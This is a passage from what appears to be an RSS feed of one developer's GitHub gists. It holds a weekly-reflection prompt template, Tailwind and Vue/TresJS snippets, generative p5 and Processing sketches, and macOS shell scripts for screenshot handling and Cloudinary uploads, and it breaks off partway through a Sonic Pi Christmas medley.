- Cover the main topics from the user&apos;s template: projects, creative endeavors, technical accomplishments, books/movies/TV, personal growth and health, social and community engagement, and goals for the future.
- Keep the interview process engaging and conversational, making it feel less like a chore and more like a friendly discussion.
- Compile the user&apos;s responses into a structured format that aligns with their template, making it easy for them to review and reflect on their weekly progress.

Template:
---
tags: [weekly-notes, reflections, progress]
modified: 2024-05-01T15:43:38-04:00
date: 2022-12-26T11:57:44-05:00
---

## 🌟 Overview of the Week


## Projects Worked On


## Creative Endeavors


## Technical Accomplishments


## Books, Movies, TV


## Personal Growth &amp; Health


## Social &amp; Community Engagement


## Goals for the Future
&lt;!-- Set Specific, Measurable, Achievable, Relevant, and Time-bound goals or intentions for the upcoming week. --&gt;
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[An extremely simple mechanism for adjusting the font-size of some text based on its length, with tailwindcss classes]]></title>
      <link>https://gist.github.com/d8e45a6a6b8b14274e8cef27ee3692a6</link>
      <guid isPermaLink="true">https://gist.github.com/d8e45a6a6b8b14274e8cef27ee3692a6</guid>
      <pubDate>Sun, 05 May 2024 18:42:09 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-05-05T18:42:10.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>stringlength_to_tailwind_textsize.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>697</code:size>
      </code:file>
      <description><![CDATA[An extremely simple mechanism for adjusting the font-size of some text based on its length, with tailwindcss classes]]></description>
      <content:encoded><![CDATA[<h3>stringlength_to_tailwind_textsize.js</h3><pre><code class="language-javascript">function stringLengthToFontSize(string) {
  const length = string.length
  if (length &lt; 5) {
    return &apos;text-8xl&apos;
  } else if (length &lt; 6) {
    return &apos;text-7xl&apos;
  } else if (length &lt; 7) {
    return &apos;text-6xl&apos;
  } else if (length &lt; 8) {
    return &apos;text-5xl&apos;
  } else if (length &lt; 9) {
    return &apos;text-4xl&apos;
  } else if (length &lt; 10) {
    return &apos;text-3xl&apos;
  } else if (length &lt; 11) {
    return &apos;text-2xl&apos;
  } else if (length &lt; 12) {
    return &apos;text-xl&apos;
  } else if (length &lt; 13) {
    return &apos;text-lg&apos;
  } else if (length &lt; 14) {
    return &apos;text-base&apos;
  } else if (length &lt; 15) {
    return &apos;text-sm&apos;
  } else if (length &lt; 16) {
    return &apos;text-xs&apos;
  } else {
    return &apos;text-xxs&apos;
  }
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Folder action for screenshots folder to automatically upload to Cloudinary]]></title>
      <link>https://gist.github.com/e5c1a08c9c2950ab94431e130c49aa18</link>
      <guid isPermaLink="true">https://gist.github.com/e5c1a08c9c2950ab94431e130c49aa18</guid>
      <pubDate>Sun, 21 Apr 2024 23:40:36 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-04-21T23:40:36.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>screenshots_to_cloudinary</code:filename>
        <code:language>Shell</code:language>
        <code:size>1440</code:size>
      </code:file>
      <description><![CDATA[Folder action for screenshots folder to automatically upload to Cloudinary]]></description>
      <content:encoded><![CDATA[<h3>screenshots_to_cloudinary</h3><pre><code class="language-shell">#!/bin/bash

# API keys for Cloudinary
export CLOUDINARY_URL=cloudinary://keykeykey@cloudname

# Iterate over each passed argument
for file in &quot;$@&quot;
do
  # Check if the file exists
  if [ -f &quot;$file&quot; ]; then
    # Upload to Cloudinary and capture output
    upload_output=$(/opt/homebrew/bin/cld uploader upload &quot;$file&quot; use_filename=true unique_filename=false 2&gt;&amp;1)
    upload_exit_status=$?

    # Check if the upload was successful
    if [ $upload_exit_status -eq 0 ]; then
      # Attempt to extract the URL using the absolute path for jq
      url=$(echo &quot;$upload_output&quot; | /opt/homebrew/bin/jq -r &apos;.url&apos; 2&gt;/dev/null)

      # Check if the URL is non-empty
      if [ -n &quot;$url&quot; ]; then
        echo &quot;$url&quot; | pbcopy
        # Display success notification with the URL
        osascript -e &quot;display notification \&quot;Uploaded $file to Cloudinary and URL copied to clipboard: $url\&quot; with title \&quot;Screenshot Upload\&quot;&quot;
      else
        # Display notification for empty URL
        osascript -e &quot;display notification \&quot;Failed to extract URL from output\&quot; with title \&quot;Debug\&quot;&quot;
      fi
    else
      # Display notification for upload failure
      osascript -e &quot;display notification \&quot;Failed to upload $file to Cloudinary. Error: $upload_output\&quot; with title \&quot;Screenshot Upload\&quot;&quot;
    fi
  else
    # Display notification for file not found
    osascript -e &quot;display notification \&quot;File does not exist: $file\&quot; with title \&quot;Debug\&quot;&quot;
  fi
done
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Usage: `./files-to-md.sh *`]]></title>
      <link>https://gist.github.com/e97f19d4232ef839dddc93bc3ae87fe8</link>
      <guid isPermaLink="true">https://gist.github.com/e97f19d4232ef839dddc93bc3ae87fe8</guid>
      <pubDate>Wed, 17 Apr 2024 17:11:15 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-04-17T18:05:14.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>files-to-md.sh</code:filename>
        <code:language>Shell</code:language>
        <code:size>240</code:size>
      </code:file>
      <description><![CDATA[Usage: `./files-to-md.sh *`]]></description>
      <content:encoded><![CDATA[<h3>files-to-md.sh</h3><pre><code class="language-shell">#!/bin/bash

for file in &quot;$@&quot;; do
  # Extract filename with extension
  filename=$(basename &quot;$file&quot;) 
  # Print Markdown header with filename (including extension)
  echo &quot;## $filename&quot;
  echo &apos;```&apos;
  cat &quot;$file&quot;
  echo &apos;```&apos;
  echo &quot;&quot;
done</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[p5_canvassketch_circles.js]]></title>
      <link>https://gist.github.com/da826d138fa344240711a5a4fb673782</link>
      <guid isPermaLink="true">https://gist.github.com/da826d138fa344240711a5a4fb673782</guid>
      <pubDate>Sat, 10 Feb 2024 16:21:13 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-02-10T16:21:13.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>gistfile1.txt</code:filename>
        <code:language>Text</code:language>
        <code:size>1607</code:size>
      </code:file>
      <description><![CDATA[p5_canvassketch_circles.js]]></description>
      <content:encoded><![CDATA[<h3>gistfile1.txt</h3><pre><code class="language-text">const canvasSketch = require(&quot;canvas-sketch&quot;);

// Grab P5.js from npm
const p5 = require(&quot;p5&quot;);

// Attach p5.js it to global scope
new p5();

const settings = {
  p5: true,
  dimensions: &quot;A4&quot;,
  pixelsPerInch: 600,
  attributes: {
    antialias: true,
  },
};

// Optionally preload before you load the sketch
window.preload = () =&gt; {
  // Preload sounds/images/etc...
};

canvasSketch(() =&gt; {
  // Inside this is a bit like p5.js &apos;setup&apos; function
  // ...

  // a random number between 300 and 700
  const k = random(300, 700);

  // another random number between 1.9 and 2.1
  const j = random(1.9, 2.1);

  const r = random(25, 55000);
  const c1 = random(15, 1000);
  const c2 = random(1, 250);
  const g = random(1, 500);

  const o1 = random(0.01, 1.1);
  const o2 = random(0.01, 1.1);

  const strokeWidth = random(0.5, 2);

  // Attach events to window to receive them
  window.mouseClicked = () =&gt; {
    console.log(&quot;Mouse clicked&quot;);
  };

  // Return a renderer to &apos;draw&apos; the p5.js content
  return ({ width, height }) =&gt; {
    // Draw with p5.js things
    clear();

    // draw a big ol black rectangle
    background(0);
    // fill white
    // fill(255);
    // fill black
    // fill(0);
    noFill();

    for (let i = 0; i &lt; c1; i++) {
      const t = i / c1;
      const x = width * t + k + g * noise(t * o1 * j);

      const y = height * o1 + k + g * noise(t * o2 * j);
      const radius = r * noise(t * j) + random(0, c2);
      ellipse(x, y, radius);
      // Set stroke color
      // Set stroke weight
      strokeWeight(strokeWidth);
      stroke(255);
    }
  };
}, settings);
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Processing RGB LED Matrix Visualizer (for Raspberry Pi)]]></title>
      <link>https://gist.github.com/a049d8bea5fa7257891d987fef455554</link>
      <guid isPermaLink="true">https://gist.github.com/a049d8bea5fa7257891d987fef455554</guid>
      <pubDate>Sat, 27 Jan 2024 06:11:17 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-01-27T06:11:17.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>32_x_128_audio_visualizer.java</code:filename>
        <code:language>Java</code:language>
        <code:size>1291</code:size>
      </code:file>
      <description><![CDATA[Processing RGB LED Matrix Visualizer (for Raspberry Pi)]]></description>
      <content:encoded><![CDATA[<h3>32_x_128_audio_visualizer.java</h3><pre><code class="language-java">import ddf.minim.*;

Minim minim;
AudioInput mic;
int rows = 128;
int cols = 64;
float scale = 4.5; // Scale factor for the size of the circles
float noiseScale = 0.012; // Scale factor for the Perlin noise
float micThreshold = -10;
float t = 0; // Noise offset
float noiseThreshold = 0.4;

void setup() {
  size(400, 800); // Height is double the width
  colorMode(HSB, 360, 100, 100);
  noStroke();

  // Initialize the microphone
  minim = new Minim(this);
  mic = minim.getLineIn();
}

void draw() {
  background(0);

  // Get the volume from the microphone
  float vol = mic.mix.level();

  if (vol &lt; micThreshold) return;

  // Map the volume to a larger range to make the effect more noticeable
  float noiseSpeed = map(vol, 0, 1, 0, 50);

  for (int y = 0; y &lt; rows; y++) {
    for (int x = 0; x &lt; cols; x++) {
      // Calculate the position for each circle
      float xPos = map(x, 0, cols, 0, width);
      float yPos = map(y, 0, rows, 0, height);

      // Use Perlin noise to determine the color
      float n = noise(x * noiseScale, y * noiseScale, t);

      float hue = map(n, 0, 1, 0, 360);
      if (n &gt; noiseThreshold) {
        fill(hue, 100, 100);

        ellipse(xPos, yPos, scale, scale);
      }
    }
  }

  // Increment t based on the volume
  t += noiseSpeed;
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Using anime, tresjs, and canvas to make rotating annotated objects in 3D]]></title>
      <link>https://gist.github.com/12bfcdaa3b09805f410ac0c1439b8a25</link>
      <guid isPermaLink="true">https://gist.github.com/12bfcdaa3b09805f410ac0c1439b8a25</guid>
      <pubDate>Mon, 22 Jan 2024 04:26:06 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-01-22T04:26:06.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>OrbitalObject.vue</code:filename>
        <code:language>Vue</code:language>
        <code:size>650</code:size>
      </code:file>
      <code:file>
        <code:filename>index.vue</code:filename>
        <code:language>Vue</code:language>
        <code:size>6787</code:size>
      </code:file>
      <description><![CDATA[Using anime, tresjs, and canvas to make rotating annotated objects in 3D]]></description>
      <content:encoded><![CDATA[<h3>OrbitalObject.vue</h3><pre><code class="language-vue">&lt;template&gt;
  &lt;TresGroup :position=&quot;offsetPosition&quot;&gt;
    &lt;!-- Line from this orbital object to the center --&gt;
    &lt;TresMesh&gt;
      &lt;Line2 :points=&quot;[[0, 0, 0], [-offsetPosition[0], -offsetPosition[1], -offsetPosition[2]]]&quot; :line-width=&quot;2&quot; color=&quot;#82dbc5&quot; /&gt;
      &lt;TresLineBasicMaterial :color=&quot;&apos;#ffffff&apos;&quot; /&gt;
    &lt;/TresMesh&gt;

    &lt;!-- Orbital Object Sphere --&gt;
    &lt;TresMesh&gt;
      &lt;TresSphereGeometry :args=&quot;[0.2, 8, 8]&quot; /&gt;
      &lt;TresMeshStandardMaterial :color=&quot;color&quot; /&gt;
    &lt;/TresMesh&gt;
    &lt;!-- Add Annotation Here --&gt;
  &lt;/TresGroup&gt;
&lt;/template&gt;

&lt;script setup&gt;

const props = defineProps({
  offsetPosition: Array,
  color: String,
});
&lt;/script&gt;
</code></pre>
<h3>index.vue</h3><pre><code class="language-vue">&lt;script setup&gt;
import { animate, createAnimatable, stagger } from &apos;~/anime.esm.min.js&apos;
import { TresCanvas, useLoader, extend } from &apos;@tresjs/core&apos;
import { createNoise3D } from &apos;simplex-noise&apos;;
import { EffectComposer, DepthOfField, Glitch, Noise, Outline, Pixelation, Vignette } from &apos;@tresjs/post-processing&apos;
import { Html, Line2 } from &apos;@tresjs/cientos&apos;
import * as THREE from &apos;three&apos;

const { pressed } = useMousePressed()
const { x: mouseX, y: mouseY } = useMouse()

const originalSphereGroupRotation = { x: 0, y: 0, z: 0 }
const sphereGroupRotation = ref({ x: 0, y: 0, z: 0 })

const orbitGroupRotation = ref({ x: 0, y: 0, z: 0 })


const animSphereGroupRotation = createAnimatable(sphereGroupRotation.value, {
  x: 200,
  y: 0,
  z: 0,
  duration: 1000,
  ease: &apos;out(10)&apos;
})

const { onLoop } = useRenderLoop()
const { width, height } = useWindowSize()

const mult = 0.001
onLoop(() =&gt; {

  // slowly orbit the orbit group around the center
  orbitGroupRotation.value.y += 0.0075

  // with animation
  if (pressed.value) {
    const chgAmtX = (mouseY.value - (width.value / 2)) * mult
    const chgAmtY = (mouseX.value - (height.value / 2)) * mult

    animSphereGroupRotation.x.to(chgAmtX)
    animSphereGroupRotation.y.to(chgAmtY)
  } else {
    const multMult = 125
    if (!animSphereGroupRotation) return

    // nudge the rotation back to the original rotation
    const currentX = sphereGroupRotation.value.x
    const currentY = sphereGroupRotation.value.y
    const currentZ = sphereGroupRotation.value.z

    const targetX = originalSphereGroupRotation.x
    const targetY = originalSphereGroupRotation.y
    const targetZ = originalSphereGroupRotation.z

    const diffX = targetX - currentX
    const diffY = targetY - currentY
    const diffZ = targetZ - currentZ

    const chgAmtX = diffX * (mult * multMult)
    const chgAmtY = diffY * (mult * multMult)
    const chgAmtZ = diffZ * (mult * multMult)

    animSphereGroupRotation.x.to(currentX + chgAmtX)
    animSphereGroupRotation.y.to(currentY + chgAmtY)
    animSphereGroupRotation.z.to(currentZ + chgAmtZ)
  }
  // draw circles on the canvas
  if (annotationCtx.value) {
    drawText(`x: ${sphereGroupRotation.value.x.toFixed(2)}, y: ${sphereGroupRotation.value.y.toFixed(2)}`)
  }
})

const annotation = ref(null) // the canvas we will draw the annotation text in
const annotationCtx = ref(null) // the canvas context
const annotationTexture = ref(null) // the annotation texture we will apply to the plane

function drawText(textString) {
  if (!annotationCtx.value) return
  annotationCtx.value.clearRect(0, 0, annotation.value.width, annotation.value.height)
  annotationCtx.value.fillStyle = &apos;white&apos;
  annotationCtx.value.font = &apos;bold 50px monospace&apos;
  annotationCtx.value.fillText(textString, 0, 50)
  annotationTexture.value = new THREE.CanvasTexture(annotation.value)
}


onMounted(() =&gt; {
  // get the canvas context
  annotationCtx.value = annotation.value.getContext(&apos;2d&apos;)

  // double the DPI of the canvas
  const dpi = window.devicePixelRatio * 4
  annotation.value.width = 100 * dpi
  annotation.value.height = 100 * dpi

  // create a texture from the canvas
  annotationTexture.value = new THREE.CanvasTexture(annotation.value)
})

const orbitalObjects = ref([
  { offsetPosition: [4, 0, -0.2], color: &apos;0x00ff00&apos; },
  { offsetPosition: [-3.4, -3.4, 0], color: &apos;0x0000ff&apos; },
  { offsetPosition: [0, 1.1, 4], color: &apos;0xff0000&apos; },
  { offsetPosition: [0, -4, 0], color: &apos;0x00ffff&apos; },
  { offsetPosition: [-2, 1.4, -4], color: &apos;0xffff00&apos; },

]);
&lt;/script&gt;

&lt;template&gt;
  &lt;div&gt;
    &lt;canvas id=&quot;annotation&quot; ref=&quot;annotation&quot; class=&quot;hidden w-96 h-96 border border-red-500&quot;&gt;&lt;/canvas&gt;

    &lt;Suspense&gt;
      &lt;div class=&quot;pointer-events-none&quot;&gt;
        &lt;TresCanvas window-size shadow alpha&gt;
          &lt;EffectComposer&gt;
            &lt;Bloom :radius=&quot;4.85&quot; :intensity=&quot;10&quot; :luminance-threshold=&quot;0.04&quot; :luminance-smoothing=&quot;0.3&quot; mipmap-blur /&gt;
            &lt;Vignette /&gt;
            &lt;!-- &lt;Pixelation :granularity=&quot;9&quot; /&gt; --&gt;
          &lt;/EffectComposer&gt;
          &lt;!-- &lt;TresPerspectiveCamera :position=&quot;[-0.2, 0, 5]&quot; /&gt; --&gt;
          &lt;TresPerspectiveCamera :position=&quot;[-0.2, 0, 15]&quot; /&gt;
          &lt;!-- &lt;OrbitControls /&gt; --&gt;

          &lt;TresGroup :rotation=&quot;[sphereGroupRotation.x, sphereGroupRotation.y, sphereGroupRotation.z]&quot;&gt;
            &lt;!-- &lt;TransformControls :object=&quot;sphereRef&quot; :size=&quot;2&quot; /&gt; --&gt;
            &lt;TresMesh ref=&quot;sphereRef&quot;&gt;
              &lt;TresSphereGeometry :args=&quot;[1, 16, 16]&quot; /&gt;
              &lt;TresMeshStandardMaterial :color=&quot;0xff0000&quot; /&gt;
            &lt;/TresMesh&gt;

            &lt;TresGroup :rotation=&quot;[orbitGroupRotation.x, orbitGroupRotation.y, orbitGroupRotation.z]&quot;&gt;
              &lt;OrbitalObject v-for=&quot;(item, index) in orbitalObjects&quot; :key=&quot;index&quot; :offsetPosition=&quot;item.offsetPosition&quot;
                :color=&quot;item.color&quot; /&gt;

              &lt;!-- and a line to the center --&gt;
              &lt;TresMesh ref=&quot;lineRef2&quot;&gt;
                &lt;!-- draw a line from the sphere to the annotation --&gt;
                &lt;Line2 :points=&quot;[[0, 0], [4, 0]]&quot; :line-width=&quot;2&quot; color=&quot;#82dbc5&quot; /&gt;
                &lt;TresLineBasicMaterial :color=&quot;&apos;#ffffff&apos;&quot; /&gt;
              &lt;/TresMesh&gt;

              &lt;TresGroup :position=&quot;[4, 0, 0]&quot;&gt;
                &lt;TresMesh ref=&quot;orbitRef&quot;&gt;
                  &lt;!-- offset the orbit group so that it is centered on the sphere --&gt;
                  &lt;TresSphereGeometry :args=&quot;[0.2, 8, 8]&quot; /&gt;
                  &lt;TresMeshStandardMaterial :color=&quot;0x00ff00&quot; /&gt;
                  &lt;TresMesh ref=&quot;annotationRef&quot;
                    :rotation=&quot;[-orbitGroupRotation.x, -orbitGroupRotation.y, orbitGroupRotation.z]&quot;&gt;
                    &gt;
                    &lt;TresPlaneGeometry :args=&quot;[2, 2]&quot; /&gt;
                    &lt;TresMeshBasicMaterial :map=&quot;annotationTexture&quot; :transparent=&quot;true&quot; /&gt;
                  &lt;/TresMesh&gt;
                &lt;/TresMesh&gt;
              &lt;/TresGroup&gt;
            &lt;/TresGroup&gt;

            &lt;!-- draw annotation plane --&gt;
            &lt;TresMesh ref=&quot;annotationPlaneRef&quot;&gt;
              &lt;TresPlaneGeometry :args=&quot;[2, 3]&quot; /&gt;
              &lt;TresMeshBasicMaterial :map=&quot;annotationTexture&quot; :transparent=&quot;true&quot; /&gt;
            &lt;/TresMesh&gt;

            &lt;TresMesh ref=&quot;lineRef&quot;&gt;

              &lt;!-- draw a line from the sphere to the annotation --&gt;
              &lt;Line2 :points=&quot;[[0, 0], [0, 1.2]]&quot; :line-width=&quot;2&quot; color=&quot;#82dbc5&quot; /&gt;

              &lt;TresLineBasicMaterial :color=&quot;&apos;#82dbc5&apos;&quot; /&gt;
            &lt;/TresMesh&gt;
          &lt;/TresGroup&gt;
          &lt;TresAmbientLight :intensity=&quot;3&quot; /&gt;
          &lt;TresDirectionalLight :position=&quot;[0, 2, 4]&quot; :intensity=&quot;10&quot; /&gt;
        &lt;/TresCanvas&gt;
      &lt;/div&gt;
    &lt;/Suspense&gt;
  &lt;/div&gt;
&lt;/template&gt;

&lt;style scoped&gt;
.label {
  position: absolute;
  transform-style: preserve-3d;
  color: #000;
  background: #fff;
  padding: 5px;
  border-radius: 5px;
}
&lt;/style&gt;</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[DomElementTo3DPosition.vue]]></title>
      <link>https://gist.github.com/295b31afc7d5d0e57de1237ac4d1c0d2</link>
      <guid isPermaLink="true">https://gist.github.com/295b31afc7d5d0e57de1237ac4d1c0d2</guid>
      <pubDate>Wed, 17 Jan 2024 18:21:37 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-01-17T18:21:37.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>DomElementTo3DPosition.vue</code:filename>
        <code:language>Vue</code:language>
        <code:size>1853</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>DomElementTo3DPosition.vue</h3><pre><code class="language-vue">&lt;script setup&gt;
import { ref } from &apos;vue&apos;;
import { useElementBounding, useWindowSize } from &apos;@vueuse/core&apos;;
import { useTres } from &apos;tresjs&apos;;

// `domElementRef` is a ref for the DOM element we want to map to the 3D scene
const domElementRef = ref(null);

// Use VueUse&apos;s useElementBounding to track the element&apos;s position and size
const { left, top, width, height } = useElementBounding(domElementRef);

// Reactive window size
const { width: windowWidth, height: windowHeight } = useWindowSize();

// tresjs scene, camera and renderer will be set up already in your application
const { scene, camera, renderer } = useTres();

// The function to map a DOM element&apos;s position to a 3D position
function mapDomElementTo3DPosition() {
  if (!domElementRef.value) return;

  // Convert element bounds to 3D coordinates
  // Note that these calculations will likely need to be adjusted for Tresjs specifics.

  // Convert screen space to normalized device coordinate (NDC) space
  const xNDC = (left.value / windowWidth.value) * 2 - 1;
  const yNDC = -(top.value / windowHeight.value) * 2 + 1;

  // Convert NDC space to 3D world space
  const vector3D = new THREE.Vector3(xNDC, yNDC, 0);
  vector3D.unproject(camera.value);

  // Converts from screen space into 3D world space
  vector3D.applyMatrix4(camera.value.matrixWorldInverse);
  vector3D.applyMatrix4(camera.value.projectionMatrixInverse);

  return vector3D;
}

// A watcher or reactive effect can trigger the update of the 3D position
// whenever the DOM element&apos;s bounding box changes
watchEffect(() =&gt; {
  const position3D = mapDomElementTo3DPosition();

  // Update your 3D object&apos;s position in the Tresjs scene with `position3D`
  // ...
});
&lt;/script&gt;

&lt;template&gt;
  &lt;div ref=&quot;domElementRef&quot;&gt;
    &lt;!-- Your DOM content here --&gt;
  &lt;/div&gt;

  &lt;!-- Your Tresjs 3D canvas and context --&gt;
&lt;/template&gt;</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Tween the positions of circles using vueUse's useTween composable]]></title>
      <link>https://gist.github.com/763ba7f07e8363d1ed2e426d9e34c9e4</link>
      <guid isPermaLink="true">https://gist.github.com/763ba7f07e8363d1ed2e426d9e34c9e4</guid>
      <pubDate>Wed, 10 Jan 2024 18:38:01 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-01-10T18:38:01.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>circle-tween.vue</code:filename>
        <code:language>Vue</code:language>
        <code:size>1428</code:size>
      </code:file>
      <description><![CDATA[Tween the positions of circles using vueUse's useTween composable]]></description>
      <content:encoded><![CDATA[<h3>circle-tween.vue</h3><pre><code class="language-vue">&lt;script setup&gt;
import { ref } from &apos;vue&apos;
import { useTween } from &apos;@vueuse/core&apos;

// Let&apos;s assume each circle has an initial x and y position
const circles = ref([
  { id: 1, x: 100, y: 100 },
  { id: 2, x: 150, y: 200 },
  // Add as many circles as you want
])

// Function to create tween for circle positions
function createTweenedPositions(circle) {
  // Create reactive properties with tween for x and y
  return {
    x: useTween(ref(circle.x), { duration: 2000 }),
    y: useTween(ref(circle.y), { duration: 2000 }),
  }
}

// Map each circle to have tweened x and y
const animatedCircles = circles.value.map((circle) =&gt; ({
    ...circle,
    ...createTweenedPositions(circle),
}))

// Function to update positions and start the animation
function updatePositions(newPositions) {
  newPositions.forEach((pos, index) =&gt; {
    // Update the target values for tween
    circles.value[index].x = pos.x
    circles.value[index].y = pos.y
    // Trigger the animation
    animatedCircles[index].x.value = pos.x
    animatedCircles[index].y.value = pos.y
  });
}

// Example usage: Move circles to new positions
updatePositions([
  { x: 200, y: 100 },
  { x: 100, y: 300 },
  // Match new positions to your circles
])
&lt;/script&gt;

&lt;template&gt;
  &lt;svg&gt;
    &lt;circle 
      v-for=&quot;circle in animatedCircles&quot; 
      :key=&quot;circle.id&quot; 
      :cx=&quot;circle.x&quot;
      :cy=&quot;circle.y&quot;
      r=&quot;10&quot; 
      fill=&quot;blue&quot; 
    /&gt;
  &lt;/svg&gt;
&lt;/template&gt;</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[screenshots-to-cloudinary.workflow]]></title>
      <link>https://gist.github.com/1ba2ea7cb45099790ef417fd2ef335fa</link>
      <guid isPermaLink="true">https://gist.github.com/1ba2ea7cb45099790ef417fd2ef335fa</guid>
      <pubDate>Tue, 09 Jan 2024 18:45:42 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-01-09T19:05:01.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>screenshots-to-cloudinary.workflow</code:filename>
        <code:language>Shell</code:language>
        <code:size>1426</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>screenshots-to-cloudinary.workflow</h3><pre><code class="language-shell">#!/bin/bash

# API keys for Cloudinary
export CLOUDINARY_URL=cloudinary://APIKEY@NAME

# Iterate over each passed argument
for file in &quot;$@&quot;
do
  # Check if the file exists
  if [ -f &quot;$file&quot; ]; then
    # Upload to Cloudinary and capture output
    upload_output=$(/usr/local/bin/cld uploader upload &quot;$file&quot; use_filename=true unique_filename=false 2&gt;&amp;1)
    upload_exit_status=$?

    # Check if the upload was successful
    if [ $upload_exit_status -eq 0 ]; then
      # Attempt to extract the URL using the absolute path for jq
      url=$(echo &quot;$upload_output&quot; | /usr/local/bin/jq -r &apos;.url&apos; 2&gt;/dev/null)

      # Check if the URL is non-empty
      if [ -n &quot;$url&quot; ]; then
        echo &quot;$url&quot; | pbcopy
        # Display success notification with the URL
        osascript -e &quot;display notification \&quot;Uploaded $file to Cloudinary and URL copied to clipboard: $url\&quot; with title \&quot;Screenshot Upload\&quot;&quot;
      else
        # Display notification for empty URL
        osascript -e &quot;display notification \&quot;Failed to extract URL from output\&quot; with title \&quot;Debug\&quot;&quot;
      fi
    else
      # Display notification for upload failure
      osascript -e &quot;display notification \&quot;Failed to upload $file to Cloudinary. Error: $upload_output\&quot; with title \&quot;Screenshot Upload\&quot;&quot;
    fi
  else
    # Display notification for file not found
    osascript -e &quot;display notification \&quot;File does not exist: $file\&quot; with title \&quot;Debug\&quot;&quot;
  fi
done
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Sets screenshot folder on OS X to ~/screenshots]]></title>
      <link>https://gist.github.com/afd94b193a00645e34fc5030a125758a</link>
      <guid isPermaLink="true">https://gist.github.com/afd94b193a00645e34fc5030a125758a</guid>
      <pubDate>Fri, 05 Jan 2024 17:27:16 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-01-05T17:27:16.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>set_screenshot_folder.sh</code:filename>
        <code:language>Shell</code:language>
        <code:size>262</code:size>
      </code:file>
      <description><![CDATA[Sets screenshot folder on OS X to ~/screenshots]]></description>
      <content:encoded><![CDATA[<h3>set_screenshot_folder.sh</h3><pre><code class="language-shell">#!/bin/bash

# Create the directory if it doesn&apos;t exist
mkdir -p ~/screenshots

# Set the default location for screenshots
defaults write com.apple.screencapture location ~/screenshots

# Apply the changes by restarting the SystemUIServer
killall SystemUIServer
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Sonic Pi + Midi Christmas Medley]]></title>
      <link>https://gist.github.com/075557d7bb167f6ccd70a653024a151e</link>
      <guid isPermaLink="true">https://gist.github.com/075557d7bb167f6ccd70a653024a151e</guid>
      <pubDate>Mon, 25 Dec 2023 20:57:43 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2023-12-25T20:57:43.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>christmas_medley.rb</code:filename>
        <code:language>Ruby</code:language>
        <code:size>3310</code:size>
      </code:file>
      <description><![CDATA[Sonic Pi + Midi Christmas Medley]]></description>
      <content:encoded><![CDATA[<h3>christmas_medley.rb</h3><pre><code class="language-ruby"># Defining all melodies with their durations in a dictionary-like structure
melodies = {
  silent_night: {
    notes: [:G, :A, :G, :E, :G, :A, :G, :E, :C, :G, :C, :G, :A, :A, :G],
    durations: [0.5, 0.5, 1, 1, 0.5, 0.5, 1, 1, 0.5, 0.5, 1, 1, 0.5, 0.5, 1]
  },
  jingle_bells: {
    notes: [:E, :E, :E, :E, :E, :E, :E, :G, :C, :D, :E, :F, :F, :F, :F, :F, :E, :E, :E, :E, :E, :D, :D, :E, :D, :G],
    durations: [0.5, 0.5, 1, 0.5, 0.5, 1, 0.5, 0.5, 0.5, 1, 1, 0.5, 0.5, 0.5, 0.5, 1, 0.5, 0.5, 0.5, 0.5, 1, 0.5, 0.5, 0.5, 0.5, 1]
  },
  deck_the_halls: {
    notes: [:E, :G, :F, :E, :D, :C, :D, :E, :D, :G, :G, :A, :G, :F, :E, :D],
    durations: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5]
  },
  o_christmas_tree: {
    notes: [:C, :C, :D, :C, :F, :E, :C, :C, :D, :C, :G, :F],
    durations: [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
  },
  we_wish_you_a_merry_christmas: {
    notes: [:G, :E, :D, :C, :D, :G, :G, :E, :D, :C, :E, :C],
    durations: [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
  },
  the_first_noel: {
